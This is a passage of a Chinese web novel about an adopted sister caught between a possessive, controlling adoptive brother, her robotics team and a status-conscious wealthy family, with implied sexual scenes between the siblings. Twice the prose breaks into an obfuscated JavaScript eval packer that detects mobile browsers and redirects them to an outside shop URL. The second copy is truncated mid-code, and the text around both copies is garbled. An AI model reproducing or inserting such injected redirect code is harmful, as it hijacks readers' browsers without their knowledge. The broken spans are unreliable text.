以前，她看过一篇文章，讲述90%家庭矛盾源于言语伤害。 她对有一句话印象特别深刻，“我们总是把最温柔的一面留给陌生人，却把最锋利的语言刺向最爱我们的人。”① 是因为“有恃无恐”。 因为家人不会离开，不会记仇，不会报复。 她没想到，有一天，她也会这样对待顾星河。 因为他也是她最亲最亲的家人。 没有血缘关系的亲人。 她主动抱住了顾星河，小脑袋贴在他胸口，认错得比以往任何一次都真诚，“哥哥，对不起，昨晚是我太过分了，以后我不会再说这些伤人的话，不会再随便对你发脾气了。” 从他们关系转变以后，她再没有主动与他亲近过，这猝不及防的搂抱让顾星河受宠若惊。 昨晚才受伤的心，全灌满了蜜糖。 “你真是啊……”他情不自禁地捧起她的脸索吻，“要哥哥的命。” *** 上午十点，团队再次在实验室集-合。 在大家围绕着“修改算法”还是“加强结构”的怪圈打转时，宝玥弱弱地举了下手，“我可以说几句吗？” 陈牧做了个请的动作。 宝玥拿着笔记本接上投影仪，深吸了一口气，“那个，我花了一整晚的时间复盘了整个过程。” 一开始，她很紧张，怕他们像昨天那样不给自己解释的机会，也怕他们又对她冷嘲热讽。 但似乎经过一晚上的休息，大家不再情绪化，一双双平静的眼睛看着她，等待着她的下文。 她鼓起了些勇气，将报告展示了出来，指出了失败的根本原因。 她斟酌着自己的用词，没有去指责担任设计的队长，还是负责选材的队员，只是就事论事，客观地陈述了整件事，并且将解决方案摆上了桌。 “现在大改设计是不可能了，所以为了应急，我们可以先这样……但在正式比赛之前，我们还有机会调整。” “这是我提出的两套改进方案，机械的重量分别是原本的60%，70%，而这是对应的性能提升预测，机械设计部分我不是专业的，还需要队长看看。” 她没有傻到直接拿出逐光淘汰的模型，干出越俎代庖的事来挑衅队长，这一次她用谦虚的态度提出几个设计优化建议。 发言从一开始磕磕碰碰，到后面越来越流畅，越来越自信，直至她结束，实验室陷入了短暂的沉默。 宝玥再次忐忑起来，直到一声赞叹，“不错！” ——是昨天踹桌角的同学。 “我觉得很有道理。” “太厉害了，这怎么发现的？” 大家开始对她露出钦佩的目光。 这一刻，宝玥才真正松了一口气。 很快，所有人围绕着她的方案又进行了一番讨论，最终确认了可行性，而他们的队长在这些数据面前，沉默地同意了。 在代码的世界，数据即真理，沉默就是最大的声音。 在这一刻，她能够清晰地看见他们向自己投来的目光。 那是看到她宝玥本人。 而不是透过顾星河看她。 15. 第 15 章 自那天起，宝玥在团队里的处境发生了变化。 她提出的应急方案被证明是有效的，陈牧也终于根据她提出的建议做了结构设计修改，重新制作的关键部件在后续几次测试中表现稳定。 大家的信心又回来了。 陈牧虽然说话的方式没太多变化，但与她交流时不再那样咄咄逼人，话中带刺，其他队员也对她有了该有的尊重。 在和队友一起忙碌时，偶尔瞥见手腕上刺眼的红绳时，她会走神，但又很快投入干活。 他们之间不再提那晚曾发生过的激烈冲突，但宝玥明显感觉得出，有些东西从那晚开始变质了。 每天中午一到饭点，他就带着阿姨精心准备的食物，准时出现在她实验室门口，以不容拒绝的态度让她按时吃饭。 如果她深夜留在实验室，他就会以担心她不能回寝室为由，在楼上等着她，直到结束，再亲自送她回寝室或者回家。 不出几日，不仅她的队友、隔壁实验室的同学，整个实验楼，乃至整个学院都知道了顾星河天天给妹妹送饭，每晚送妹妹回家的事。 这种无处不在的掌控感和温柔包围，让宝玥在同学那儿刚建立起的一丝独立自信又渐渐缩了回去，她开始感觉到窒息，可每当她开口说不需要他时，他总用哥哥的身份将她的理由驳回。 “哥看你这么辛苦，很心疼，给你送点吃的不行吗？” “比赛很累的，更应该注重饮食和休息。” “我不放心你一个人在那待太晚。” “我保证不打扰你。” …… 他的确没有做出过分的举动，最越界的也只是在无人的时候亲了亲她，这么多天他都没拉着她做一次。 宝玥蓦地一怔。 她竟然已经把亲吻定义为不太过分的行为了吗？ 顾星河的声音拉回了她的思绪，“明天就热身赛了，早点休息。” 他抬起手替她理了下被风吹乱的发丝，动作自然亲昵，指尖若有似无地掠过碎发，触碰了下她的耳垂，宝玥这才感到一丝不适，她往回缩了下。 顾星河似是故意曲解，轻笑了下，“别紧张，我的玥玥，肯定是最棒的。” 宝玥如梦初醒。 他这些日来打着支持她的旗号，根本从未想过让她真正独立。 如果只是从顾星河的妹妹，变成顾星河的宝玥，那她的努力依然毫无意义。 *** 团队的机器人凭借着优化后的稳定结构，最终拿下了正式赛的入场名额。 大家一片欢腾，陈牧也露出了难得的笑容，豪迈地说晚上请大家吃饭，他甚至单独向她发了邀请，“宝玥，我们能进比赛，你功不可没，晚上一起来聚聚吧。” “对对对，我们还没一起聚过餐吧！” “搞一个！宝玥，一起来啊！” …… 面对队友热情的邀请，再加上内心深处那点想要挣脱束缚的冲动，宝玥没有任何犹豫地答应了，“好！” 顾星河没有来现场，她给他发了消息报备。 没想到对方直接打了电话过来。 她就知道这种事不会那么容易答应。 “怎么了，玥玥，我们不是说好一起吃晚饭吗？” “对不起哥，因为今天比赛发挥比较好，大家很高兴，所以临时决定聚餐，所有人都参加了，我不好拒绝。” 听筒里的人沉默了下，“嗯，他们不好拒绝，哥哥好拒绝，是这个意思吗？” “不是的，只是大家还没一起吃过饭，比较难得，哥，我们改成明天行吗？明天我一定回家。” 她试图与他商量，但对方斩钉截铁地吐了三个字，“不可以。” 她哀求着，“哥……求你……” 没有看到他那张脸，只听声音时，只剩下冰冷的磁性音，“我不明白，你取得好成绩，第一个分享的人难道不是哥哥吗？哥不是最重要的人吗？难道还比不上你这几个只相处不到一个月的同学们？为什么要去参加这种毫无意义又都是男生的聚会？” 宝玥被说得脑袋低垂，眼里原本因兴奋闪动的光正在一点点地黯然下去。 电话那头的人像是感受到她情绪变化似的，语气转而温柔，“没别的意思，哥只是觉得就你一个女生不安全，当然如果你非要去，哥也不阻拦你，我可以陪你一起，甚至为你们买单，我只需要确认你的安全。” 他甚至宽容且大度地退步了。 这是以前他不会做的。 但宝玥一点也不高兴，她沉默了许久，语气里只剩下了沮丧，“我不去了。” 电话那头的语气未变，依然是宽容的，“嗯，那我一会早点下班去接你，我们先去超市买东西。” 宝玥心不在焉地应了声好，结束了通话。 在大家兴致高昂地议论着晚上吃什么的时候，她苦涩地说出拒绝的话。 拒绝了正常的同学聚餐，转头和哥哥在超市里挑选着计-生用品。 她想起季行乐的话。 她从小到大，的确没有异性朋友。 她总是听二哥说不要和男生来往。 很多时候，这种聚会场合都会被他温柔又强势地拒绝。 她偶尔质疑，偶尔强硬地表示要去，他也会用那无可挑剔的教养和温柔的笑容，当着她的同学、朋友的面，将她直接带走，将她好不容易建立起来的人际关系摧毁。 如果她摆脱了顾星河的妹妹，可依然是顾星河的谁，又有什么意思呢？她仍旧摆脱不了他的掌控。 顾星河低头咬住她后背的拉链，一拉到底，舌尖钻进缝隙，就像某种湿漉漉的软体动物贴着她的背脊在蠕动，她忍不住绷紧了腰腹。 他抬起头，粘稠的嗓音就在她耳边，“紧张？还是兴奋了？” 他实在太敏锐了，她所有的情绪和心思都逃不过他的眼睛。 宝玥羞红了脸。 顾星河笑了，笑起来时，双颊露出浅浅的酒窝，永远都是那样纯良。 小时候，她最喜欢的就是这一对酒窝，恨不得生在自己脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889318|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，在很长时间，她一直拿手戳自己脸蛋，希望也能戳出两个小酒窝。 顾星河偶尔会与她玩闹，一边笑着斥责她淘气，一边幼稚地用手指戳她的脸蛋。 比如现下，他轻轻戳了戳，随即双唇贴上，“我最喜欢玥玥，玥玥也最喜欢哥哥吗？” 宝玥的沉吟声淹没在他的吻里。 她推掉了正常的人际交往，躺在哥哥的床-上和他厮-混。 可耻的是，她的身体还感到愉悦。 *** 顾星沉签合同的手一抖，划出了一条线。 秘书瞪大了眼，职业素养又让他飞快地收敛表情，“顾总，合同有问题？” 顾星沉深吸了一口气，重新签好递给他，“没问题。” 不明白为什么弟弟有这么多莫名其妙的情绪。 他到底在经历什么？ 他揉了揉酸胀的太阳穴，最近越加感觉疲惫不堪。 甚至今早破天荒地睡过头。 这时，施柔来了电话。 他被叫回了顾家。 女人坐在书房的真皮沙发上，望着他的眼神毫无温情，开口即命令，“把门关上。” 她拿起桌面上的文件。 正是他前几日做的体检报告。 “长期精神倦怠、多梦，睡眠质量下降，存在潜在情感宣泄需求……”她面无表情地念出了报告上的结论，抬眸看了他一眼，“这些专业词汇翻译过来就是，你被一些上不得台面的梦扰乱了心神，甚至影响到了你的状态。” 顾星沉身姿挺拔地站在那，一语不发，冷漠疏离的神情与沙发上的女人十分相似。 施柔眉头微皱，开口惊人，“顾星沉，你是不是有喜欢的女人了？” 顾星沉眼皮一跳，“没有。” “是吗？”施柔手中握起戒尺，目光泠泠地望向他，“你从11岁后就没有挨过这把戒尺，是我调教的完美作品，现在却不知道出了什么差错，竟然出现如此荒唐可笑的事。” “我认为你一直很清楚自己的身份，你是顾家的继承人，家族倾尽资源培养你，你的身体，你的精神，甚至你的婚姻，都不是你一个人的事，它们属于这个家族，关系着整个家族的稳定和未来。” “你知道多少眼睛在盯着你，家里的长辈，集团的董事，还有外面的敌人，如果他们知道，我们的继承人，竟然像个毛头小子一样血气方刚，你觉得他们会怎么想？” “我一直教导你，欲望是弱者才无法自控的东西，强者驾驭欲望，而不是被欲望驱使，是我对你的教育哪里出了疏漏，才让你变得这样脆弱？” “我给你一个月的时间，让这些指标恢复正常，否则我会亲手帮你解决。” “是什么不三不四的女人勾-引了你，还是谁带你接触了污-秽不堪的东西，到时我都会查清楚。” …… 顾星沉站到腿脚微微发麻，才得以从书房离开，当时脚步虚浮，一阵头晕目眩。 当晚一测体温。 39.7℃ 16. 第 16 章 张叔一看体温计，关心道：“少爷，您发烧了？” 顾星沉乜了他一眼，目光极淡，不怒自威。 张叔瞟了眼书房方向，声音轻了些，“我送您回南郊？” 顾星沉嗯了一声，蓦地又被那莫名其妙的情绪激荡了下。 他开口问道：“星河在哪里？” 张叔露出慈爱的微笑，“今天宝玥小姐有比赛，二少爷说要亲自下厨，现在……应该和宝玥小姐在家吧。” 骤然听到妹妹的名字，顾星沉眸色闪了下。 十几年如一日的兄长宠爱，光明磊落、合情合理，叫所有人都没发觉出一丝不对劲。 ……包括他。 他脸色一沉，“回家。” *** 华灯初上。 车辆缓缓停在了楼前。 顾星沉下车后，就让张叔先走了。 他摘下眼镜放入镜盒，抬头望了眼亮着的窗。 直到那不正常的情绪彻底消失后，他才上楼。 弟弟妹妹正在吃晚饭。 “大哥！……你回来了。” 宝玥闻声望了过来，差点脱口好久不见，还好噎了下去。 对一起住的哥哥说好久不见太奇怪了。 虽然是事实。 她瞥着他换鞋进门，莫名心虚又侥幸，还好她刚刚抵死不从，没穿顾星河的衬衣，不然现在的场面就不是这样平静了。 当然，如果他早半小时进门，那就更……不堪入目了。 她越心虚，语气就越小心翼翼，带了她未察觉的客气，“你吃过了吗？要不要一起吃？” 顾星河气定神闲地将挑好刺的鱼肉放进她碗里，“他肯定吃过……” “好。” 猛然听到顾星沉的声音，他也抬起头，神色复杂地打量着他。 宝玥连忙起身去厨房拿餐具。 顾星河盯着他走过来，“妈没给你饭吃？” 顾星沉笔直地坐在桌前，没有回答这种明知故问的问题。 顾星河撑了下脑袋，露出玩味的笑，“她找你什么事？” 顾星沉目不斜视地回答：“和你没关系。” 顾星河笑出声，看妹妹已经为他盛了一碗饭，又要为他打汤，他自然而然地从她手中接过勺子代劳，她手指一缩，眉头一蹙，圆眼瞪了他一下。 一碗汤，两人打得眉来眼去。 顾星沉突然开口，“怎么回家了？” 虽然没点名，宝玥像是被动触发了什么似的，立马坐直，“今天热身赛，比完就……回来了。” 顾星沉接过弟弟递来的碗，喝了一口，只有苦味。 大概发烧破坏了味蕾。 他放下勺子，又问了比赛的情况。 宝玥一板一眼地回答，表情和动作都规规矩矩的，不像刚刚打汤时乱飞。 顾星沉强撑着疲惫的身体，坐着吃了几口就回房了。 荒唐可笑。 可笑的人是他，荒唐的却是弟弟。 *** 顾星沉回了卧室，感到前所未有的头疼。 他不擅长处理这种琐碎的家务事。 施柔迟早会发现，她会用什么手段管，都与他无关。 他为何头疼？ 不是该松口气吗？ 也许是高烧令他的思维变得迟钝。 咚咚—— 敲门声响起。 宝玥捧着一碗冒着白烟的汤面站在他面前，忐忑地看着他，“大哥，我给你煮了碗面……” 很难想象有人连睡衣都穿得如此工整。 每一道褶皱像极了熨烫过的平整，每一颗扣子扣得严丝合缝，连螺纹的方向都保持一致，仿佛睡觉也是一场需要正装出席的仪式。 开门就见这场面，让她差点端不稳碗，更紧张了。 “我听二哥说你今晚在外面没吃饭，刚刚也没怎么吃。” 也是听二哥说施柔下午找了他，就猜到肯定是被教训了，施柔教训大哥的场面一度成为她童年阴影，说不准今晚又逼他吃了什么难以下咽的食物。 她思来想去，还是煮了碗面。 顾星沉冷厉的神色像是被凝住，他盯着她好一会儿，神情变得复杂。 宝玥半天没听见他的声音，抬头窥视了一眼，就撞上他带有审视的目光，过于严肃，不像在打量人，更像是校对合同。 要不是想到之前大哥没拒绝过她，她这会儿可能已经打退堂鼓了。 “我不知道你喜欢吃什么……就都放了些，哦对了，还没有8点……” 她已经尽力了，不管他吃还是不吃，她已经传达了心意。 顾星沉的目光这才移到了面上。 那碗热气腾腾的面，堆着满满的料，有海鲜、蔬菜、鸡蛋…… 比起高级厨师的手艺，这看起来实在粗糙，但他莫名想尝尝。 他迟疑了下，伸手接过，“谢谢。” 宝玥的眼睛一下就亮了，肉眼可见的开心，“大哥你慢慢吃，我下楼了。” 顾星沉脸上的凌厉也被冲淡了不少。 蓦地，他的视线触到她发红的指肚和掌心，“烫到了？” “抱歉，让你端那么久。” 宝玥简直受宠若惊，从来没听大哥对自己说这么长的话，还是道歉，她急忙摆手，“没事没事！一点点烫，是我皮肤白，容易红！” 送完面，她轻快地跑下楼。 经过这几次接触，她很确定大哥只是看起来冷冰冰，其实没那么难相处。 哎，以前怎么就没关注过他呢？ 以后有机会还是对大哥好点吧！ *** 顾星沉在反复发烧中熬了一整夜。 那不属于他的病态、扭曲的感情，像是神经毒素麻痹着他的大脑。 混乱无序的梦中，依然夹杂着尖锐而陌生的心悸。 那种渴望并未因为找到真相而消停，反而愈演愈烈。 到底是对什么的渴望，他自己也说不清楚。 醒来时，头疼欲裂，精神上的疲惫远胜于身体，他吃了两口早饭，服下一片退烧药，继续强撑着去工作。 上午有三个重要会议、还要接待从京市过来的大人物，下午赶去杭城设计院参加产品下线仪式，晚上受邀参加一场商务酒会…… 他的日程早已被排满。 作为顾家的继承人，他没有资格生病，更没有权利示弱。 大约是病得恍惚。 在酒会上，只少量喝了点酒，意识有点不清，眼神也不太好。 筹光交错间，白裙子闯入视线，就像不知从哪飞来的小蝴蝶，仿佛下一秒就会落在他的跟前，怯生生地叫他一声大哥…… 他呼吸滚烫，闭眼再睁眼，浑浊的视线露出清晰而陌生的面容。 那熟悉又奇异的感觉如丝丝缕缕黑藻缠住他。 他听到了自己渴望的心声。 是软糯嗓音喊他大哥时，想要回应她的冲动。 是她伸来白皙小手时，想要触碰她指尖温度的渴望。 但这一次，没有共感。 *** 热身赛之后，宝玥休息了几日，等着队长和机械专业的同学把设计图优化完毕。 整个机器人的骨架已经没法改了，只能按照她之前的方案，尽可能减重。 算法组暂时空闲下来，她无所事事的时候，就会帮着机械组去拧螺丝，或者帮电控组接线。 顾星河还是每日准时送饭，即使有时他被工作耽搁了，也会让人把饭送到她实验室，晚上又来接她回家。 这次看到午饭多了乌鸡汤，她就知道生理期快到了。 果不其然在顾星河提醒的第三日，她迎来了熟悉的腹部坠胀。 更糟糕的是，她不仅弄脏了自己的裤子，还弄脏了哥哥的床和他的……睡裤。 宝玥无措地站在水池旁，几次想动手都被顾星河挡了回去，只能干看着他打肥皂搓血渍，水珠溅在他结实的小臂上，晨光勾勒出他棱角分明的侧脸。 真丝面料染了血迹根本没法洗，搓了半天还是有浅浅的印子。 她尴尬道：“对不起，哥，要不……扔了吧。” 顾星河笑了笑，丝毫不见难为情，“有什么好对不起的，很正常，去吃饭。” 她记得自己初潮的时候，一边哭一边给她洗内-裤，她以为他是不好意思，其实是心疼她流这么多血。 也是他给她买的卫生巾，教她怎么使用。 一米八多，快成年的男生一边查手机，一边摆弄那小小的长条。 为了让她能用得舒服点，他甚至研究了市面上的产品，什么滑渗量，渗入量、防漏等等一堆连她都似懂非懂的词汇，他评价得头头是道。 生理期的注意事项和营养食谱，他知道得比她还清楚，每次都是他提前一周提醒她注意忌口和休息，或许是被他照顾得太好，这些年来她的生理期一直很准，没受过痛经的苦。 当时她只觉得哥哥无所不能，特别厉害，现在回想起来只剩下难为情。 顾星河把床单扔进洗衣机，将其他的衣物晾晒好，平时不干家务的人，唯有照顾妹妹才会手脚麻利。 厨房放着他提前煮好的生姜红糖水，他盛了一碗给宝玥，“今天有事吗？没事就在家休息。” “今天要开组会。” “行，那我等你一起走。” 他送她到校门口，傍晚又接她回家。 阿姨已经做好了饭菜才离开，桌上摆着煲了一下午的红枣桂圆鸡汤和韭菜炒鸭血，处处体现着哥哥的细心。 睡前，顾星河端来一盆热水，“来泡脚。” 宝玥慌忙缩脚，“我自己来。” 他却一把握住她的脚踝，轻巧地脱掉她的袜子放进水中，揶揄道：“以前没难为情，现在才难为情是不是晚了，哥哥舔都舔过了……” 宝玥恼羞成怒地一脚把水泼他脸上。 对方连躲都不躲，笑得更得劲，酒窝深深嵌在双颊。 他是真的很喜欢舔。 她一点不怀疑再踢一脚，一定会被他吃到嘴里。 那比摸脚更奇怪了。 她不敢动了，老老实实让他服务。 泡好脚，她又被抱上了床。 感觉到他 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她没有亲人，和每一个孤儿一样，自卑、敏感、胆小、缺乏安全感，但又无比渴望被爱，很多很多的爱，太浅的爱于她若隔靴挠痒。 只有哥哥在她召唤时，能随时出现在她身边。 她想要看见星星时，他带她看见了一条银河。 她想要看见海豚时，他带她看见了一片大海。 寒冬里想吃一口冰淇淋，他能穿越半个南城，只为她一闪而过的念头。 她不知道这是不是哥哥对妹妹的正常宠爱，但却是她想要的爱。 即便他们的关系扭曲了，她痛苦地深陷，也做不到割舍。 只要想到这世上再没有这么一个人对她这样好，她真的很难过。 顾星河的拇指放在她眉间，“怎么皱眉，难受睡不着？” 宝玥摇了摇头，吸了吸他身上的气息。 对方在她额头落下一个吻，“睡吧，哥陪你。” 她迷迷糊糊嘟囔了声，“会弄脏裤子……” 他轻轻笑着，“没关系的，安心睡。” 等她睡熟了，顾星河才起身。 一开门，迎面撞上刚进家门的顾星沉。 兄弟俩对视了半秒，顾星河挑眉一笑，“怎么又回这？” 顾星沉没说话，薄唇紧抿，看着他的手松开了宝玥卧房的门把手，看着他进餐厅倒水、喝水，又走回来和他说了声晚安，再次走向—— 宝玥的房间。 在他要开门时，顾星沉终于沉不住气，“宝玥已经20岁了，不是2岁，你们不能睡在一起。” 顾星河握着把手按下一点弧度，慢悠悠地转过半身，神情自然而坦荡，就像解释一件平常不过的事，“她身体不舒服，需要人陪着，除了我们，还有别的亲人吗？” 他微微一笑，“你不放心，也可以进来陪她。” 顾星沉缄默不言。 直到第二日清早，顾星河再次从宝玥房间出来时，见顾星沉坐在沙发上。 要不是他换了一身衣服，他差点以为他在这儿守了一夜。 他如往常一样打了个招呼，就去厨房为妹妹准备早餐了。 等他忙完，顾星沉才起身，语气淡得听不出情绪，“来我书房，我们谈谈。” …… 这大概是第一次兄弟二人就工作之外的事，做出如此正式的谈话。 顾星沉盯着他的眼睛，先开口发问，“你一整晚都在她的房间？” 一句陈述口吻的问句，是他常用的审问方式。 顾星河面不改色地回答，“我昨晚不是解释过了，还有什么问题？” “她是你妹妹。”他冷下脸时，身上那股冰冷的气场多了几分凌厉。 顾星河冷静地反驳，“我们没有血缘关系，而且，什么也没做。” 他当然知道他们什么也没做，但也仅限于昨晚。 “离她远点，否则……” 顾星河突然打断他，“你打算告诉爸妈，还是直接让她离开顾家？” 他仰起头，脸上挂着有恃无恐的笑，“我以为我们应该达成一致了，妹妹是我的，你无权处置。” 顾星沉：“她是人，不是你养的宠物。” 顾星河：“嗯，是我养的人，她的一切我会负责，也只能我负责。” 他比预料得更冥顽不灵，顾星沉只问道：“你怎么负责？顾星河，你姓顾，考虑过顾家吗？” 顾星河漫不经心地回道：“顾家？那是你考虑的事，和我有什么关系？妈当年死活阻拦爸把她认进家门，这么没名没分地养在顾家这么多年，外面都传成什么样了，你以为就很好听了？” 就在这时，书房门敲响了。 兄弟对视了一眼，顾星河去开门，“怎么了，玥玥？” 宝玥见两位哥哥都在，没犹豫地说了出来，“施阿姨刚才给我打了电话，让我参加周六的慈善活动，这是……什么意思？” 她住在顾家这么多年，没人带她参加过任何一个公开场合。 顾星河眉头一皱，恼火地看向顾星沉。 17. 第 17 章 为了这个慈善活动，施柔不仅请了礼仪老师，更在当天送来一套昂贵的礼服。 淡粉色的真丝长裙，柔软丝滑，在灯下走动时，摆动的裙子摇曳出珍珠般的光泽。 宝玥很少穿礼服，更没穿过这样高级的礼服，因此战战兢兢，生怕弄坏了。 施柔面色平静地打量着她，又点了几款价格不菲的钻石配饰让人给她戴上，这才露出一抹满意的笑，“不错，把胸挺起来，自信点，记住你今晚的身份，你是顾家的女儿，顾家的孩子从不低头走路。” 顾家的女儿…… 若是从前，她听到这话，必定会欢天喜地。 但现在却变成了一条项圈，勒得她喘不上气。 那天她告知哥哥们后，他们又在书房里谈了十几分钟，不知道在聊什么，两人出来时面色如常，二哥还和她说笑。 她悄悄问是不是施柔察觉了什么，他立马就笑眯眯地否认，还摸着她的头让她宽心，“别多想，就是一个活动而已，我陪你去。” 听到二哥也会去，她立刻松了口气。 *** 慈善活动在一家私人画廊举办，所有的拍品都挂在墙上供大家欣赏，有已故大师的手稿、有当代画家的作品，还有宾客自己的作品，宝玥无法像其他宾客给出专业点评，她只觉得每一幅都很好看。 耳边传来顾星河含笑的声音，“有喜欢的吗？一会哥给你拍。” 他靠得太近，说话间的热气吹到她耳朵里，让她差点绷不住表情。 施阿姨在旁边，他怎么敢这么明目张胆？ 还好施柔没往这里看一眼。 虽然宝玥拒绝了顾星河给自己拍画，但他还是拍了一副。 花了二十五万。 和动辄百万的拍品相比，这算是相当“便宜”，可一想到这仅仅只是某位宾客家中6岁孩子的涂鸦，她的心就在滴血。 这么多年过去，她依然会为这种不值当的花钱感到心痛。 没办法，她骨子里就是个俗人，哥哥怎么教都教不好的那种。 这些宾客各个锦衣华服、矜贵优雅，谈笑间从容举牌，几百万从手缝间流走，眼都不带眨一下，甚至还互相恭维说着多谢捧场之类的话。 拍卖从来不是这种活动的主题，社交才是。 只不过是建立在金钱之上罢了。 施柔花了三百万买了一幅画，全场最高成交价，做足了顾家的颜面。 在之后的晚宴，画作原主人就过来搭讪了，都是一个圈里的人，就连那6岁孩子也是含着金汤匙出生的千金，被父母领了过来，叫了她一声姐姐。 施柔顺势就把宝玥介绍给了大家，“这是宝玥，星河的妹妹。” 话落，这些人就像突然才看见她似的，开始堆满笑容地夸赞。 “你要不说，我还当是你们哪位亲戚的女儿，长得这么标致。” “还是顾家的水土养人。” “是啊，是啊，星河又帅又优秀，这样优秀的儿子，顾太太有两个，真是让人羡慕。” …… 看似夸她，实则句句在捧顾家，捧施柔，捧顾星河，她就像那些陈列出来的拍品，只为大家的社交做牵线搭桥的作用。 顾星河是他们今晚的意外收获，所以那些目光很快都集中到他身上。 “难得在这种场合见到你儿子，真孝顺，还陪妈妈。” 顾星河微笑地与他们解释，“是陪妹妹来的，她第一回参加这种场合，没有相熟的年轻人，我带她认识认识。” “我早听说星河宠爱妹妹，原来是真的啊。” “不得了哦，以后谁作星河的妻子可有福了，是个会疼人的。” …… 顾星河笑笑不接话，轻轻揽了下宝玥的肩，“我带你去认识下朋友？” 便将她从一波又一波搭讪中解救了出来。 “高跟鞋累不累，这儿坐一会吧。”顾星河拉她到花园的长椅上，凑近她，悄悄地说道，“这里没人，可以把鞋子脱了。” 宝玥早就脱了下来，长长的裙摆遮住了脚，叫路过的人也看不出什么端倪。 顾星河给她按了按肩，“好玩吗？” 宝玥笑得一晚上脸都疼了，“我想回去写代码了。” 她不喜欢这儿，应付得实在太累了。 每位来搭讪的人纵然五官不同，但笑起时双唇勾起的弧度，流露出的神态，都与礼仪老师教导的一模一样，就像所有人都戴了张微笑面具。 她们的交谈也很有意思，一句话三层意，和打哑谜似的。 “恐怕还不行。”顾星河变戏法似的递来一块蛋糕，“甜品不错，你尝尝？” 宝玥惊喜道：“你什么时候拿的？” “刚刚顺手拿的，我看有几个小姑娘在吃这个，我想着肯定好吃。” 宝玥美滋滋地接过。 她早就看见那一桌子美味的茶歇了，碍于施柔的存在，她一整晚都只能规规矩矩的，不敢多说一句话，不敢多做一件事。 顾星河拿出纸巾擦掉她唇角的奶油，“以后这种事怕是不会少，你得明白，只有哥最在乎你，不管是爸妈，还是大哥，他们在意顾家的颜面胜于你的感受。” 宝玥低头不语。 是啊。 今晚之后，他们的关系就只能是兄妹。 顾家不会允许他们传出什么丑闻。 顾家带她出席慈善活动的消息就像插了翅膀，很快就传遍了南城的上流圈，带来的后续就是—— 有男生来搭讪了。 对方自报家门后，宝玥不知道该怎么办，就拿着手机去问顾星河。 顾星河眉毛一挑，温柔地鼓励她，“你直接拒绝就好。” “会不会得罪人？” “不用担心，从来只有别人得罪我们的份，你要不敢，哥哥可以帮你。” 见他伸手过来，她忙收起手机，“不了，我自己来。” “那你发吧，我看看你怎么发。” “……” 她有合理的理由怀疑他怕她不发。 *** 很快，施柔又来消息，叫他们兄妹三人回顾家吃饭。 顾星河说道：“正好顺路去医院看看闻野。” 宝玥从未听闻看望病人是顺路的，但她还是问了，“闻野哥住院了？他怎么了？” “没事，被人捅了。” “……这叫没事吗？” “嗯，没事。” “怎么回事啊，谁捅的？报警了吗？人抓了吗？” “没，跑国外了。” “啊！” “还好伤得不重，过几天就出院了。” 顾星河带她来病房时，闻野的目光在两人之间流转了下，直接破防，“你是来探望我的，还是来刺-激我的？” 顾星河啊了一声，“你怎么能这样误会我？” 宝玥听不懂两人在说什么大，但感觉闻野很生气，因此探望很快就被结束了。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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施柔突然发问，“上次让你请清月吃饭，到现在快一个月了还没请？” 顾星河：“我已经感谢过了。” “什么？” “我只答应感谢，没说请吃饭，托人给她送过礼了。” 施柔目光冷了下来，“你这是什么态度？我辛苦给你物色的人，给你找的机会，你……” 顾星河唇角勾了下，笑眯眯地望向顾星沉，语气格外真诚，“你让大哥去，大哥肯定愿意吧？以大哥的效率，说不准在桌上就把两家未来十年的合作规划都谈好了。” 施柔厉色道：“我是为你好。” 顾星河仍是笑着祸水东引，“我不介意把好东西分享给大哥。” 顾星沉根本不接茬，只有施柔在发火，“颜清月你都看不上，那什么样的你才看上？你外面找什么样的谈恋爱我不管，但我不允许你把什么上不得台面的东西带回家。” 这话是盯着顾城说得，筷子也是对着他摔的。 宝玥吓了一跳，一股莫名的难堪涌上心头。 餐桌上的气氛瞬间降到冰点。 顾城脸色难看，“吃饭就吃饭提些这些做什么。” 施柔深吸了几口气，缓过劲后立马又换上笑容，“是，是，那说件好事。” 她突然望了过来，“宝玥，你在顾家也很多年了，眼看快毕业了，我和顾叔叔商量着认你作干女儿，把你的户口迁过来，以后买房办信托都方便些。” 原本已经坐如针毡的宝玥突然被殃及，吓得心脏骤停。 18. 第 18 章 季行乐一语成谶。 她一听说施柔带她参加慈善活动时，就立马来问她，“施阿姨是不是想让你联姻？” 宝玥想不通她想象力这么丰富，这个词怎么可能会出现在她身上。 季行乐说道：“我和你这么说吧，对于那些地位与顾家悬殊太大的，让顾家自己人去联姻实在太掉价，他们拉不下这脸，但又舍不得其中利益，那不就让你上了？施柔带你演这一出，说不定早就看好哪家了。” 宝玥不禁回忆了下最近主动搭讪的几位男生。 确实有父母白手起家冲上富豪榜的，一个爸爸是互联网行业鼎鼎有名的大佬，另一个奶茶店开遍全球，当她的注意还在这些男生身上时，背后早已是几家人的利益往来了。 一旦踏进这个圈子，所有的事就不再简单。 季大小姐无比自信，“你等着看吧，他们肯定会给你证明身份，你要是不想，可得早做准备了。” 如果不是她的体型，宝玥这会儿真要被施柔问得措手不及。 她坐直身子刚想开口，捏着裤子的手蓦地被人一握，她这一愣神，被顾星河抢了先，“这可是好事，妈，你终于想通了。” 他眼角上翘，露出愉悦的笑容。 宝玥眉头瞬间皱紧，他怎么能同意？ “我不……” “我不同意。” 顾星沉的声音盖过了她的话，把所有人的注意力吸引了过去，包括宝玥。 虽然很诧异，但有人拒绝就好。 顾城眼里闪过一抹意外，“你觉得哪里不妥？” 顾星沉放下了筷子，举止优雅地擦了下嘴，这才开口，“顾家没有收养别人孩子的先例，你们确定要开这个口？如果有人把外面的私生子私生女也以这种名义领养……” 顾城和施柔各自神色微妙。 顾星沉仿佛没看见，以一种极为客观而理智的口气将事情的利害剖析出来。 宝玥听愣了。 只觉得这豪门果然是龙潭虎穴，怎么这么复杂。 